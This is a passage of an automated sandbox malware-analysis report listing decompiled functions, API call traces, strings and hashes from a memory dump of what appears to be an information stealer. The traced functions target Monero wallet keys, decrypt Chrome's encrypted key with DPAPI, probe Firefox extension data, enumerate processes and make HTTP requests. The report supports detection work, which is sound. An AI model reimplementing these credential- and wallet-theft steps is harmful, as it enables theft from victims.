Associated: 00000000.00000002.1950277272.0000000000A5D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950373572.0000000000BF1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950387854.0000000000BF2000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_570000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$Filelstrcat$CopyDeleteSystemTime
String ID:
API String ID: 211194620-0
Opcode ID: e3a7f8b43f56467c847f9a95f049eb6e6f077c6973241a5f7ab5d0cba7cbddb3
Instruction ID: 343c2f582aaa5b11d70fcedc6fd1c95efcf1b45e4c3140506bdba4b967f9176b
Opcode Fuzzy Hash: e3a7f8b43f56467c847f9a95f049eb6e6f077c6973241a5f7ab5d0cba7cbddb3
Instruction Fuzzy Hash: 36E1F4729101199BEB04FBA4DC99EEE7738BF94300F50815AF91672091EF386A49CF76

Function 0057D780 Relevance: 6.2, APIs: 4, Instructions: 221filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 0058A740: lstrcpy.KERNEL32(00590E17,00000000), ref: 0058A788

Part of subcall function 0058A9B0: lstrlen.KERNEL32(?,013094C0,?,\Monero\wallet.keys,00590E17), ref: 0058A9C5
Part of subcall function 0058A9B0: lstrcpy.KERNEL32(00000000), ref: 0058AA04
Part of subcall function 0058A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0058AA12

Part of subcall function 0058A8A0: lstrcpy.KERNEL32(?,00590E17), ref: 0058A905

Part of subcall function 00588B60: GetSystemTime.KERNEL32(00590E1A,0130AAF0,005905AE,?,?,005713F9,?,0000001A,00590E1A,00000000,?,013094C0,?,\Monero\wallet.keys,00590E17), ref: 00588B86

Part of subcall function 0058A920: lstrcpy.KERNEL32(00000000,?), ref: 0058A972
Part of subcall function 0058A920: lstrcat.KERNEL32(00000000), ref: 0058A982

CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 0057D801
lstrlen.KERNEL32(00000000), ref: 0057D99F
lstrlen.KERNEL32(00000000), ref: 0057D9B3
DeleteFileA.KERNEL32(00000000), ref: 0057DA32

Memory Dump Source

Source File: 00000000.00000002.1949764070.0000000000571000.00000040.00000001.01000000.00000003.sdmp, Offset: 00570000, based on PE: true

Associated: 00000000.00000002.1949733491.0000000000570000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.00000000005CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.00000000005F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.00000000005F8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.00000000005FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.0000000000602000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.0000000000621000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000062D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.0000000000652000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000065F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000067F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000068B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000068E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.0000000000715000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.0000000000735000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000073B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.00000000007CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.0000000000946000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.0000000000A21000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.0000000000A44000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.0000000000A4D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.0000000000A5C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950277272.0000000000A5D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950373572.0000000000BF1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950387854.0000000000BF2000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_570000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$Filelstrcat$CopyDeleteSystemTime
String ID:
API String ID: 211194620-0
Opcode ID: 5381fc9c272dac2e3af9872d576ceb5a3bd94dc74631835dedae5936c11ebe4c
Instruction ID: 972fe4a059fc36c3302a165ed70ef7085f99b7a982c1dec3797734803d950ff6
Opcode Fuzzy Hash: 5381fc9c272dac2e3af9872d576ceb5a3bd94dc74631835dedae5936c11ebe4c
Instruction Fuzzy Hash: 5781F5729101159BEB04FBA4DC99EEE7B38BF94300F50455AF906B6091EF386A09CB76

Function 0057F4A0 Relevance: 6.2, APIs: 2, Strings: 2, Instructions: 154stringCOMMON

Download Yara Rule

APIs

Part of subcall function 0058A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0058A7E6

Part of subcall function 005799C0: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 005799EC
Part of subcall function 005799C0: GetFileSizeEx.KERNEL32(000000FF,?), ref: 00579A11
Part of subcall function 005799C0: LocalAlloc.KERNEL32(00000040,?), ref: 00579A31
Part of subcall function 005799C0: ReadFile.KERNEL32(000000FF,?,00000000,0057148F,00000000), ref: 00579A5A
Part of subcall function 005799C0: LocalFree.KERNEL32(0057148F), ref: 00579A90
Part of subcall function 005799C0: CloseHandle.KERNEL32(000000FF), ref: 00579A9A

Part of subcall function 00588E30: LocalAlloc.KERNEL32(00000040,-00000001), ref: 00588E52

Part of subcall function 0058A740: lstrcpy.KERNEL32(00590E17,00000000), ref: 0058A788

Part of subcall function 0058A9B0: lstrlen.KERNEL32(?,013094C0,?,\Monero\wallet.keys,00590E17), ref: 0058A9C5
Part of subcall function 0058A9B0: lstrcpy.KERNEL32(00000000), ref: 0058AA04
Part of subcall function 0058A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0058AA12

Part of subcall function 0058A8A0: lstrcpy.KERNEL32(?,00590E17), ref: 0058A905

Part of subcall function 0058A920: lstrcpy.KERNEL32(00000000,?), ref: 0058A972
Part of subcall function 0058A920: lstrcat.KERNEL32(00000000), ref: 0058A982

StrStrA.SHLWAPI(00000000,00000000,00000000,?,?,00000000,?,00591580,00590D92), ref: 0057F54C
lstrlen.KERNEL32(00000000), ref: 0057F56B

Strings

^userContextId=4294967295, xrefs: 0057F59C
moz-extension+++, xrefs: 0057F5AD

Memory Dump Source

Source File: 00000000.00000002.1949764070.0000000000571000.00000040.00000001.01000000.00000003.sdmp, Offset: 00570000, based on PE: true

Associated: 00000000.00000002.1949733491.0000000000570000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.00000000005CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.00000000005F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.00000000005F8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.00000000005FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.0000000000602000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.0000000000621000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000062D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.0000000000652000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000065F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000067F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000068B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000068E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.0000000000715000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.0000000000735000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000073B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.00000000007CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.0000000000946000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.0000000000A21000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.0000000000A44000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.0000000000A4D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.0000000000A5C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950277272.0000000000A5D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950373572.0000000000BF1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950387854.0000000000BF2000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_570000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$FileLocal$Alloclstrcatlstrlen$CloseCreateFreeHandleReadSize
String ID: ^userContextId=4294967295$moz-extension+++
API String ID: 998311485-3310892237
Opcode ID: 66ed0aea553b0e1e5e55769c918656c64a8e688a34595aa6143919d84b09da6c
Instruction ID: 5970cfdc4a9e51b8486970694d2833e557ee57a677103c2b231ea2e6752294d1
Opcode Fuzzy Hash: 66ed0aea553b0e1e5e55769c918656c64a8e688a34595aa6143919d84b09da6c
Instruction Fuzzy Hash: DC51E271D101099AEB04FBA4DC5ADED7B78BF94300F408529F816B7195EE386A09DFA2

Function 00579CE0 Relevance: 6.1, APIs: 1, Strings: 3, Instructions: 98COMMON

Download Yara Rule

APIs

Part of subcall function 0058A740: lstrcpy.KERNEL32(00590E17,00000000), ref: 0058A788

Part of subcall function 005799C0: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 005799EC
Part of subcall function 005799C0: GetFileSizeEx.KERNEL32(000000FF,?), ref: 00579A11
Part of subcall function 005799C0: LocalAlloc.KERNEL32(00000040,?), ref: 00579A31
Part of subcall function 005799C0: ReadFile.KERNEL32(000000FF,?,00000000,0057148F,00000000), ref: 00579A5A
Part of subcall function 005799C0: LocalFree.KERNEL32(0057148F), ref: 00579A90
Part of subcall function 005799C0: CloseHandle.KERNEL32(000000FF), ref: 00579A9A

Part of subcall function 00588E30: LocalAlloc.KERNEL32(00000040,-00000001), ref: 00588E52

StrStrA.SHLWAPI(00000000,"encrypted_key":"), ref: 00579D39

Part of subcall function 00579AC0: CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,NW,00000000,00000000), ref: 00579AEF
Part of subcall function 00579AC0: LocalAlloc.KERNEL32(00000040,?,?,?,00574EEE,00000000,?), ref: 00579B01
Part of subcall function 00579AC0: CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,NW,00000000,00000000), ref: 00579B2A
Part of subcall function 00579AC0: LocalFree.KERNEL32(?,?,?,?,00574EEE,00000000,?), ref: 00579B3F

Part of subcall function 00579B60: CryptUnprotectData.CRYPT32(?,00000000,00000000,00000000,00000000,00000000,?), ref: 00579B84
Part of subcall function 00579B60: LocalAlloc.KERNEL32(00000040,00000000), ref: 00579BA3
Part of subcall function 00579B60: LocalFree.KERNEL32(?), ref: 00579BD3

Strings

DPAPI, xrefs: 00579D89
"encrypted_key":", xrefs: 00579D30
, xrefs: 00579DC1

Memory Dump Source

Source File: 00000000.00000002.1949764070.0000000000571000.00000040.00000001.01000000.00000003.sdmp, Offset: 00570000, based on PE: true

Associated: 00000000.00000002.1949733491.0000000000570000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.00000000005CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.00000000005F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.00000000005F8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.00000000005FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.0000000000602000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.0000000000621000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000062D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.0000000000652000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000065F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000067F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000068B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000068E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.0000000000715000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.0000000000735000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000073B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.00000000007CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.0000000000946000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.0000000000A21000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.0000000000A44000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.0000000000A4D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.0000000000A5C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950277272.0000000000A5D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950373572.0000000000BF1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950387854.0000000000BF2000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_570000_file.jbxd

Yara matches

Similarity

API ID: Local$Alloc$CryptFileFree$BinaryString$CloseCreateDataHandleReadSizeUnprotectlstrcpy
String ID: $"encrypted_key":"$DPAPI
API String ID: 2100535398-738592651
Opcode ID: 1bb3a938fd649f7e4c94a1ad87074080cbb9770b7c096d78a12679822d7548dd
Instruction ID: f32a89e68eb1d155e3eb206f138e4c7d459b2a7bae4720233389cf0e450db873
Opcode Fuzzy Hash: 1bb3a938fd649f7e4c94a1ad87074080cbb9770b7c096d78a12679822d7548dd
Instruction Fuzzy Hash: A93110B5D10109ABDF14EFE4EC85AEEBBB8BB48304F14851DE905A7241FB349A04DBB5

Function 00588680 Relevance: 6.1, APIs: 4, Instructions: 77processCOMMON

Download Yara Rule

APIs

Part of subcall function 0058A740: lstrcpy.KERNEL32(00590E17,00000000), ref: 0058A788

CreateToolhelp32Snapshot.KERNEL32(00000002,00000000,005905B7), ref: 005886CA
Process32First.KERNEL32(?,00000128), ref: 005886DE
Process32Next.KERNEL32(?,00000128), ref: 005886F3

Part of subcall function 0058A9B0: lstrlen.KERNEL32(?,013094C0,?,\Monero\wallet.keys,00590E17), ref: 0058A9C5
Part of subcall function 0058A9B0: lstrcpy.KERNEL32(00000000), ref: 0058AA04
Part of subcall function 0058A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0058AA12

Part of subcall function 0058A8A0: lstrcpy.KERNEL32(?,00590E17), ref: 0058A905

CloseHandle.KERNEL32(?), ref: 00588761

Memory Dump Source

Source File: 00000000.00000002.1949764070.0000000000571000.00000040.00000001.01000000.00000003.sdmp, Offset: 00570000, based on PE: true

Associated: 00000000.00000002.1949733491.0000000000570000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.00000000005CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.00000000005F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.00000000005F8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.00000000005FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.0000000000602000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.0000000000621000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000062D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.0000000000652000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000065F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000067F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000068B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000068E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.0000000000715000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.0000000000735000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000073B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.00000000007CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.0000000000946000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.0000000000A21000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.0000000000A44000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.0000000000A4D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.0000000000A5C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950277272.0000000000A5D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950373572.0000000000BF1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950387854.0000000000BF2000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_570000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$Process32$CloseCreateFirstHandleNextSnapshotToolhelp32lstrcatlstrlen
String ID:
API String ID: 1066202413-0
Opcode ID: dd6cd327c5c42c0cf43e7f77a1e8b8a5998b96e687edec265aff1b95e241acc6
Instruction ID: 08c1a0eb05af9e0dbe825c8911c9d39d8efa297fde7f73f0e9a32bb194546d68
Opcode Fuzzy Hash: dd6cd327c5c42c0cf43e7f77a1e8b8a5998b96e687edec265aff1b95e241acc6
Instruction Fuzzy Hash: 90315C71901219ABDB24EB50CC45FEEBB78FB45700F5041AAE90AB21A0DF386A45CFA1

Function 00586AF3 Relevance: 6.0, APIs: 4, Instructions: 30sleepCOMMON

Download Yara Rule

APIs

OpenEventA.KERNEL32(001F0003,00000000,00000000,00000000,?,013092A0,?,0059110C,?,00000000,?,00591110,?,00000000,00590AEF), ref: 00586ACA
CreateEventA.KERNEL32(00000000,00000000,00000000,00000000), ref: 00586AE8
CloseHandle.KERNEL32(00000000), ref: 00586AF9
Sleep.KERNEL32(00001770), ref: 00586B04
CloseHandle.KERNEL32(?,00000000,?,013092A0,?,0059110C,?,00000000,?,00591110,?,00000000,00590AEF), ref: 00586B1A
ExitProcess.KERNEL32 ref: 00586B22

Memory Dump Source

Source File: 00000000.00000002.1949764070.0000000000571000.00000040.00000001.01000000.00000003.sdmp, Offset: 00570000, based on PE: true

Associated: 00000000.00000002.1949733491.0000000000570000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.00000000005CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.00000000005F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.00000000005F8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.00000000005FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.0000000000602000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.0000000000621000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000062D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.0000000000652000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000065F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000067F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000068B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000068E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.0000000000715000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.0000000000735000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000073B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.00000000007CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.0000000000946000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.0000000000A21000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.0000000000A44000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.0000000000A4D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.0000000000A5C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950277272.0000000000A5D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950373572.0000000000BF1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950387854.0000000000BF2000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_570000_file.jbxd

Yara matches

Similarity

API ID: CloseEventHandle$CreateExitOpenProcessSleep
String ID:
API String ID: 941982115-0
Opcode ID: d246d303aea09a02307883c825327fbb12ca37bd1e983c92c8c62f49537a1346
Instruction ID: 0fb748a9b9c4d3c4d682e120da50b6dc0842cf0bcc43c3dd74c973d15297df49
Opcode Fuzzy Hash: d246d303aea09a02307883c825327fbb12ca37bd1e983c92c8c62f49537a1346
Instruction Fuzzy Hash: 91F03470A4420ABAE700BBA09C0ABBE7F34FB04706F108A15BD12B11C1DBB55940DBAA

Function 005747B0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 63stringnetworkCOMMON

Download Yara Rule

APIs

lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 00574839
InternetCrackUrlA.WININET(00000000,00000000), ref: 00574849

Strings

<, xrefs: 005747C9

Memory Dump Source

Source File: 00000000.00000002.1949764070.0000000000571000.00000040.00000001.01000000.00000003.sdmp, Offset: 00570000, based on PE: true

Associated: 00000000.00000002.1949733491.0000000000570000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.00000000005CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.00000000005F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.00000000005F8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.00000000005FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.0000000000602000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.0000000000621000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000062D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.0000000000652000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000065F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000067F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000068B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000068E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.0000000000715000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.0000000000735000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000073B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.00000000007CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.0000000000946000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.0000000000A21000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.0000000000A44000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.0000000000A4D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.0000000000A5C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950277272.0000000000A5D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950373572.0000000000BF1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950387854.0000000000BF2000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_570000_file.jbxd

Yara matches

Similarity

API ID: CrackInternetlstrlen
String ID: <
API String ID: 1274457161-4251816714
Opcode ID: 9f66d8b8797255da22ef54242e0326e0cdd146d0410a241f28a36229713c44f1
Instruction ID: 8d7a6c7aecd3a3e88b20a7341a10386f40d02eee2c52749539a48299f2bfb886
Opcode Fuzzy Hash: 9f66d8b8797255da22ef54242e0326e0cdd146d0410a241f28a36229713c44f1
Instruction Fuzzy Hash: F8213EB1D00209ABDF14EFA4E849BDE7B74FB44320F108626F919A7281EB746A05CF91

Function 005851F0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 50COMMON

Download Yara Rule

APIs

Part of subcall function 0058A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0058A7E6

Part of subcall function 00576280: InternetOpenA.WININET(00590DFE,00000001,00000000,00000000,00000000), ref: 005762E1
Part of subcall function 00576280: StrCmpCA.SHLWAPI(?,0130ED90), ref: 00576303
Part of subcall function 00576280: InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00576335
Part of subcall function 00576280: HttpOpenRequestA.WININET(00000000,GET,?,0130E870,00000000,00000000,00400100,00000000), ref: 00576385
Part of subcall function 00576280: InternetSetOptionA.WININET(00000000,0000001F,?,00000004), ref: 005763BF
Part of subcall function 00576280: HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 005763D1

StrCmpCA.SHLWAPI(00000000,ERROR), ref: 00585228

Strings

ERROR, xrefs: 00585273
ERROR, xrefs: 0058521A

Memory Dump Source

Source File: 00000000.00000002.1949764070.0000000000571000.00000040.00000001.01000000.00000003.sdmp, Offset: 00570000, based on PE: true

Associated: 00000000.00000002.1949733491.0000000000570000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.00000000005CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.00000000005F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.00000000005F8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.00000000005FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.0000000000602000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.0000000000621000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000062D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.0000000000652000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000065F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000067F000.00000040.00000001.01000000.00000003.sdmpDownload File
